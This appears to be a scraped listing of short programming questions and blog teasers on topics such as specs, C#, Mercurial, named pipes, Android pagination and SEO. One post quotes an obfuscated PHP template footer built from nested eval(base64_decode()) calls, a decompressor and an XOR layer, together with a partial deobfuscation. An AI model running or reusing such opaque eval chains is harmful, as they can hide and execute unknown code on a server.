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  • System requirement specification vs functional one - separate docs?

    - by user970696
    A lot of sources (e.g. Wikipedia) mentiones System requirement specification and Functional specification as two separate entities. However, Wiegers in his book writes: The software requirements specification is sometimes called a functional specification, a product specification... This is very confusing for me as I thought FS describes just functions while SRS whole system. From this point of view, FS would contain both non functional and functional requirements and everything else.

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  • Can't get screen pixel from a specific full screen game with any language?

    - by user1007059
    Okay, I know this might seem like I'm posting a duplicate question since I've asked something similar like a day ago HOWEVER, if anyone sees any problem with this, please read my question first before judging: Yesterday I tried getting a specific pixel from a fullscreen game in C#. I thought my C# code was faulty but when I tried with multiple full screen games today they all worked except for that specific game. I literally tried with 10 different full screen games, a couple being mmofps, mmorpg, mmotps, regular rpg games, regular shooters, regular action adventure games, etc. I tried with multiple programming languages, and with every game except that specific game I'm dealing with, it returns the pixel color to me like I wanted. So let me explain what I tried: first I tried returning an IntPtr with C# using GetDC(IntPtr.Zero) before invoking GetPixel(int x, int y) and then getting the color out of it. Then I tried using the Robot class in Java and using the getPixelColor(int x, int y) method. I also tried using GetDC(0) to return an HDC object in C++ and then invoking GetPixel(int x, int y) before again extracting the color. These three methods worked EXACTLY the same in every single game except that specific game I was talking about. They returned the pixel perfectly, and extracted the exact same color perfectly. I don't feel it's necessary to tell you the game name or anything, since you probably don't even know it, but what could possibly be causing this malfunction in 1 specific game? PS: The game ALWAYS returns an RGB color of: A = 255, R = 0, G = 0, B = 0. Also, I tried taking a snapshot of the game with the 3 programming languages, and then getting the pixel which actually works in all 3 languages, but since I need to get this pixel every 30 ms, it kind of makes my game lag a bit (+ I think it takes up a lot of memory)

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  • Mercurial stuck "waiting for lock"

    - by jm
    Got a bluescreen in windows while cloning a mercurial repository. After reboot, I now get this message for almost all hg commands: c:\srchg commit waiting for lock on repository c:\src\McVrsServer held by '\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' interrupted! Google is no help. Any tips?

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  • Flash Retirement - HTML to be "the one"

    - by RichMill
    I will update this blog post as we get closer to the retirement of the Flash portal. As you might have read the support.oracle.com  flash site will be replaced with what you see in supporthtml.oracle.com,  once we get the rest of the features and functions ported over to the html site. The HTML site is written using Oracle's ADF stack. So we are now pretty much 100% eating our own dog food.  More details to follow.

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  • Traits of a DBA - Part One – The Technical Side

    What does it take to become a database administrator, or what kinds of traits should I be looking for when I am hiring a DBA. Those traits can be summarized it two categories: Technical and Personal. In this article, Greg Larsen discusses the technical traits a DBA should have. Free eBook - Performance Tuning with DMVsThis free eBook provides you with the core techniques and scripts to monitor your query execution, index usage, session and transaction activity, disk IO, and more. Download the free eBook.

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  • How to save results of a procedure with more than one result set

    Sometimes a procedure returns more than 1 result set. The article describes how to save all result sets into new database tables Keep your database and application development in syncSQL Connect is a Visual Studio add-in that brings your databases into your solution. It then makes it easy to keep your database in sync, and commit to your existing source control system. Find out more.

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  • Stuck in a loop

    - by Luke
    while (true) { //read in the file StreamReader convert = new StreamReader("../../convert.txt"); //define variables string line = convert.ReadLine(); double conversion; int numberIn; double conversionFactor; //ask for the conversion information Console.WriteLine("Enter the conversion in the form (Amount, Convert from, Convert to)"); String inputMeasurement = Console.ReadLine(); string[] inputMeasurementArray = inputMeasurement.Split(','); //loop through the lines looking for a match while (line != null) { string[] fileMeasurementArray = line.Split(','); if (fileMeasurementArray[0] == inputMeasurementArray[1]) { if (fileMeasurementArray[1] == inputMeasurementArray[2]) { Console.WriteLine("The conversion factor for {0} to {1} is {2}", inputMeasurementArray[1], inputMeasurementArray[2], fileMeasurementArray[2]); //convert to int numberIn = Convert.ToInt32(inputMeasurementArray[0]); conversionFactor = Convert.ToDouble(fileMeasurementArray[2]); conversion = (numberIn * conversionFactor); Console.WriteLine("{0} {1} is {2} {3} \n", inputMeasurementArray[0], inputMeasurementArray[1], conversion, inputMeasurementArray[2]); break; } } else { Console.WriteLine("Please enter two valid conversion types \n"); break; } line = convert.ReadLine(); } } The file consists of the following: ounce,gram,28.0 pound,ounce,16.0 pound,kilogram,0.454 pint,litre,0.568 inch,centimetre,2.5 mile,inch,63360.0 The user will input something like 6,ounce,gram The idea is that it finds the correct line by checking if the first and second words in the file are the same as the second and third the user enters. The problem is that if it checks the first line and it fails the if statement, if goes through to the else statement and stops. I am trying to find a way where it will stop after the it finds the correct line but not until. If someone types in a value that isn't in the file, then it should show an error.

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  • PHP <-> JavaScript communication: Am I stuck with ASCII?

    - by Goro
    Hello, I am passing a lot of data between PHP and JavaScript. I am using JSON and json_encode in php, but the problem here is that I am passing a lot of numbers stored as strings - for example, numbers like 1.2345. Is there a way to pass the data directly as numbers (floats, integers) and not have to convert it to ASCII and then back? Thanks,

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  • Stuck with a Base64 Decode (php)

    - by jay
    I started decoding a footer from a template but this is pretty much as far as I got since im a noobie @ php. Any assstance will be appreciated as I'm pretty suck. Here's the original file: $o="QAAACg07Y25xJ2RrZnR0OiVkawARYmZ1YW5/JTk7JioAEDk7KAHgCAA5DgoNAoA4d293J2BraGVmawAEJyNudFhvaGpiPCc4OQHXbmEhwCcvAbYnLid8AeUEUAY2aGlzZm5pAABidVg2NSdhaGhzcG5jYGJzAUx0KnR3aHMlBNAOBuAOOwbSBQJhcgAAaWRzbmhpWGJ/bnRzdC8gYwAAfmlmam5kWHRuY2JlZnUgLgZAJyEhJy8JEAEUWGYDAHFiLzQuJxSIe3snAY8zAY9zbgMAMi4uC0IoKCcAAENoaSBzJ3RvaHAnaGknc28IKGInYXULgCd3ZmBiDUInABAKDQ6AKBJhJ0Voc3NoaidBAiJQDOM9J1QB0FNGVVMnKioNIQKgAwAnFqJuYzolu8APeWEDcQ+CAmAOAnYZFBHTEcInYHVuY1hvvzMCshIxDgLTEpIRPA+wGZMOFNICkxyiBkEAQQaP+A8YUQaPAsED8waPZnUvMy48JxEACPMCwQWC308GpAEGYyYXDQ8NDyZgDQ0yBo8nJynDBmEAQAeXvgEZQSgWLhikCqECERtfYnN0PSdCSUMCk5vlBPEKDQBhKKN6DmAGYDBgDdIEMShkISBmLKV/8ioekQHwEnIC4wPhASAP6AMpD4EFIAShJ0EwcGJ4eHUjSwqiA8EjFWJ1JSck0R0zJMIiVGRodwfBfnVuYG8z9AOgB7EARQKpYWslOSEC8TAEPCcNgy2wWHNuamIvIF4gFkA4OYAgAYRla2hgbmlhaC8BVGV1KDknAAB0cnd3aHVzYmMnZX4nO2YnAABvdWJhOiVvc3N3PSgocHBwIAApajHwaXNob2h0c25pYH0pZBAAaGooAUQodWJ2cm51YmpiaXMACXQoJSdzbnNrYjolSgMjJ1UB6JLIR9B0czFgYDkB5U8FEwJqOygCVDsoZgI4OSdEdWJmCZFhaHUJpwZmBSdQaHUAPmN3dWJ0dClodWAEOyT3FiET5QCBO6eIGHFkUiNhdRuRNYRKeUxAWGh3SpEvIGUQ0G59fRWgamJ0WCiRQ2F0SnA7OSclfCklRjJTUQRFBiIjcnB3WGtOMFgDAi8gEjKAAAEgOiFjYndzbzo3IW5pZGtyAcJjYjogJyknBw8VwAcLKSAhdBsAWAEvZGhrcmppOhewclgQAGJTMEH/CCIrk+=="; eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs 9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw==")) Here's what I got it down to: $lllllllllll='base64_decode'; $llllllllll='ord'; $lllllllllllll='strlen'; $llllllllllll='chr'; $lllllllll="?".$llllllllllll(62); $lllllllll.=$llllllllll.$llllllllllll(60)."?"; $lll=0;$code=(base64_decode("JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs="));echo $code;eval(base64_decode("JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs="));$ll=0;$code=($lllllllllll("JGxsbGxsbGxsbGw9J29yZCc7"));echo $code;eval($lllllllllll("JGxsbGxsbGxsbGw9J29yZCc7"));$llll=0;$lllll=3;$code=($lllllllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs="));echo $code;eval($lllllllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs="));$lllllll=0;$llllll=($llllllllll($l[1])<<8)+$llllllllll($l[2]);$code=($lllllllllll("JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7"));echo $code;eval($lllllllllll("JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7"));$lllllllll=16;$llllllll="";for(;$lllll<$lllllllllllll($l);){if($lllllllll==0){$llllll=($llllllllll($l[$lllll++])<<8);$llllll+=$llllllllll($l[$lllll++]);$lllllllll=16;}if($llllll&0x8000){$lll=($llllllllll($l[$lllll++])<<4);$lll+=($llllllllll($l[$lllll])>>4);if($lll){$ll=($llllllllll($l[$lllll++])&0x0f)+3;for($llll=0;$llll<$ll;$llll++)$llllllll[$lllllll+$llll]=$llllllll[$lllllll-$lll+$llll];$lllllll+=$ll;}else{$ll=($llllllllll($l[$lllll++])<<8);$ll+=$llllllllll($l[$lllll++])+16;for($llll=0;$llll<$ll;$llllllll[$lllllll+$llll++]=$llllllllll($l[$lllll]));$lllll++;$lllllll+=$ll;}}else$llllllll[$lllllll++]=$llllllllll($l[$lllll++]);$llllll<<=1;$lllllllll--;}$code=($lllllllllll("JGxsbGxsbGxsbGxsbD0nY2hyJzs="));echo $code;eval($lllllllllll("JGxsbGxsbGxsbGxsbD0nY2hyJzs="));$lllll=0;$code=($lllllllllll("JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7"));echo $code;eval($lllllllllll("JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7"));$llllllllll="";for(;$lllll<$lllllll;){$llllllllll.=$llllllllllll($llllllll[$lllll++]^0x07);}$code=($lllllllllll("JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw=="));echo $code;eval($lllllllllll("JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw=="));$code=($lllllllll);echo $code;eval($lllllllll);

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  • C Named pipe (fifo). Parent process gets stuck

    - by Blitzkr1eg
    I want to make a simple program, that fork, and the child writes into the named pipe and the parent reads and displays from the named pipe. The problem is that it enters the parent, does the first printf and then it gets weird, it doesn't do anything else, does not get to the second printf, it just ways for input in the console. #include <string.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> void main() { char t[100]; mkfifo("myfifo",777); pid_t pid; pid = fork(); if (pid==0) { //execl("fifo2","fifo2",(char*)0); char r[100]; printf("scrie2->"); scanf("%s",r); int fp; fp = open("myfifo",O_WRONLY); write(fp,r,99); close(fp); printf("exit kid \n"); exit(0); } else { wait(0); printf("entered parent \n"); // <- this it prints // whats below this line apparently its not being executed int fz; printf("1"); fz = open("myfifo",O_RDONLY); printf("2"); printf("fd: %d",fz); char p[100]; int size; printf("------"); //struct stat *info; //stat("myfifo",info); printf("%d",(*info).st_size); read(fz,p,99); close(fz); printf("%s",p); printf("exit"); exit(0); } }

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  • C# slowdown while creating a bitmap - calculating distances from a large List of places for each pixel

    - by user576849
    I'm creating a graphic of the glow of lights above a geographic location based upon Walkers Law: Skyglow=0.01*Population*DistanceFromCenter^-2.5 I have a CSV file of places with 66,000 records using 5 fields (id,name,population,latitude,longitude), parsed on the FormLoad event and stored it in: List<string[]> placeDataList Then I set up nested loops to fill in a bitmap using SetPixel. For each pixel on the bitmap, which represents a coordinate on a map (latitude and longitude), the program loops through placeDataList – calculating the distance from that coordinate (pixel) to each place record. The distance (along with population) is used in a calculation to find how much cumulative sky glow is contributed to the coordinate from each place record. So, for every pixel, 66,000 distance calculations must be made. The problem is, this is predictably EXTREMELY slow – on the order of one line of pixels per 30 seconds or so on a 320 pixel wide image. This is unrelated to SetPixel, which I know is also slow, because the speed is similarly slow when adding the distance calculation results to an array. I don’t actually need to test all 66,000 records for every pixel, only the records within 150 miles (i.e. no skyglow is contributed to a coordinate from a small town 3000 miles away). But to find which records are within 150 miles of my coordinate I would still need to loop through all the records for each pixel. I can't use a smaller number of records because all 66,000 places contribute to skyglow for SOME coordinate in my map as it loops. This seems like a Catch-22, so I know there must be a better method out there. Like I mentioned, the slowdown is related to how many calculations I’m making per pixel, not anything to do with the bitmap. Any suggestions? private void fillPixels(int width) { Color pixelColor; int pixel_w = width; int pixel_h = (int)Math.Floor((width * 0.424088664)); Bitmap bmp = new Bitmap(pixel_w, pixel_h); for (int i = 0; i < pixel_h; i++) for (int j = 0; j < pixel_w; j++) { pixelColor = getPixelColor(i, j); bmp.SetPixel(j, i, pixelColor); } bmp.Save("Nightfall", System.Drawing.Imaging.ImageFormat.Jpeg); pictureBox1.Image = bmp; MessageBox.Show("Done"); } private Color getPixelColor(int height, int width) { int c; double glow,d,cityLat,cityLon,cityPop; double testLat, testLon; int size_h = (int)Math.Floor((size_w * 0.424088664)); ; testLat = (height * (24.443136 / size_h)) + 24.548874; testLon = (width * (57.636853 / size_w)) -124.640767; glow = 0; for (int i = 0; i < placeDataList.Count; i++) { cityPop=Convert.ToDouble(placeDataList[i][2]); cityLat=Convert.ToDouble(placeDataList[i][3]); cityLon=Convert.ToDouble(placeDataList[i][4]); d = distance(testLat, testLon, cityLat, cityLon,"M"); if(d<150) glow = glow+(0.01 * cityPop * Math.Pow(d, -2.5)); } if (glow >= 1) glow=1; c = (int)Math.Ceiling(glow * 255); return Color.FromArgb(c, c, c); }

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  • Stuck in implementing Pagination in Android

    - by user443141
    I am implementing pagination for ListView in Android . I am extending the BaseAdapater class for customising the ListView. Already I have the code working fine for the Customised ListView. Below is the new requirement. 1I am fetching 6 items from server & displaying them . Now when the user scrolls to the 6th item(end of list) , I need to call the server to fetch the next 6 items & update the Listview I have overriden the methods ipublic void onScroll(AbsListView view, int firstVisibleItem,int visibleItemCount, int totalItemCount) iipublic void onScrollStateChanged(AbsListView view, int scrollState) In the first response from the server, I get the total no of pages from the server & for each time I call the server , I get the current page value . Kindly provide me the steps/sample code on how to check the last item of the list & update the list . The code should be iterative since I may need to call multiple times & fetch from server. Warm Regards, CB

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  • Keywords Tools - Should You Be Using One?

    Is it necessary to be using keywords tools to gain high traffic to your site and ultimately to make money? If the answer is no, how do you optimise your site for keywords? If you choose to use keyword tools which ones do you pick? Free or paid for, there are so many to choose from.

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  • Problem with scrolling background in one OpenGL loop

    - by GvS
    I have 960x3000 map image in png and I'm scrolling it in a loop like this (it's called in 60 FPS loop): glPushMatrix(); glBindTexture( GL_TEXTURE_2D, mapTex[iBgImg]); glBegin(GL_QUADS); double mtstart = 0.0f - fBgVPos/(double)BgSize; double mtend = mtstart + mtsize; glTexCoord2d(0.0, mtstart); glVertex2f(fBgX, TOP_MARGIN); glTexCoord2d(1.0, mtstart); glVertex2f(fBgX + MAP_WIDTH, TOP_MARGIN); glTexCoord2d(1.0, mtend); glVertex2f(fBgX + MAP_WIDTH, BOTTOM_MARGIN); glTexCoord2d(0.0, mtend); glVertex2f(fBgX, BOTTOM_MARGIN); glEnd(); glPopMatrix(); unfortunately it isn't smooth when the game is in windowed mode. However, it is smooth in full screen mode. I'm using GLFW for windows. Maybe there is something wrong with my method? Is there anything better? Or could this be hardware problem? Edit: Window is created using glfwOpenWindowHint(GLFW_WINDOW_NO_RESIZE, GL_TRUE); glfwOpenWindowHint(GLFW_REFRESH_RATE, 60); and main loop is using glfwSwapInterval(1) to ensure 60 FPS;

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  • PASS Summit 2012 Day One Keynote

    - by AllenMWhite
    Today is the official start to the 2012 PASS Summit and I'm honored to have a seat at the Blogger's Table again. This is a set of tables set up in the back of the keynote room for people who blog frequently (I know) to share their thoughts on the keynote with the public, and appreciate the invitation from PASS to participate again. The lights go down and they showed a video of PASS board members talking about what the PASS Summit means to each of them. It was well put together and I know that the...(read more)

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  • Search Engine Optimization Training - Do Not Make a Mistake in Choosing One

    Does Birmingham living have you stressed? Busy streets, heavy workloads got you down? However, 1 of the greatest things that you simply can get advantage from this place is that there are numerous Birmingham web design companies and Birmingham search engine optimization corporations that are willing to help you out with your online business. As everybody knows, Search engine optimization instruction plays an crucial role when it comes to setting up an online business.

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  • Search Engine Optimization (SEO) 101 - Part One

    Search engine optimization is a vital part of doing business online. Without it, your website will just become another statistic, buried deep in Google's search results. However, if you are following proper SEO protocol, your site will rise to the top and become easily discoverable by anyone searching for your keywords.

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  • stuck in while loop python

    - by user1717330
    I am creating a chat server in python and got quite far as a noob in the language. I am having 1 problem at the moment which I want to solve before I go further, but I cannot seem to find how to get the problem solved. It is about a while loop that continues.. in the below code is where it goes wrong while 1: try: data = self.channel.recv ( 1024 ) print "Message from client: ", data if "exit" in data: self.channel.send("You have closed youre connection.\n") break except KeyboardInterrupt: break except: raise When this piece of code get executed, on my client I need to enter "exit" to quit the connection. This works as a charm, but when I use CTRL+C to exit the connection, my server prints "Message from client: " a couple of thousand times. where am I going wrong?

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  • Stepping through ASP.NET MVC in Action (2009) - and stuck on nunit issue

    - by Jen
    I seem to have missed something - in this step through it talks through downloading nunit and changing the original MSTest reference to NUnit. Which seems fine until it talks about running the test with UnitRun from JetBrains. I would have thought I could run nUnit to be able to run the test - but I load my project in the nUnit gui and I get "This assembly was not built with any known testing framework". This after running the Nunit-2.5.3.9346.msi. Or am I supposed to be able to run tests from within visual studio 2008? After some research I find this: http://www.jetbrains.com/unitrun/ (ie. it seems to be saying this is no longer supported and I'm thinking JetBrains Resharper may cost money?). I'm a little rusty on my NUnit experience. So how do I go ahead and run my test? Is the error message I'm getting considered abnormal? I've added a reference in my MvcApplication.Tests project to the nunit.framework. Is this the wrong reference to add? Thanks :)

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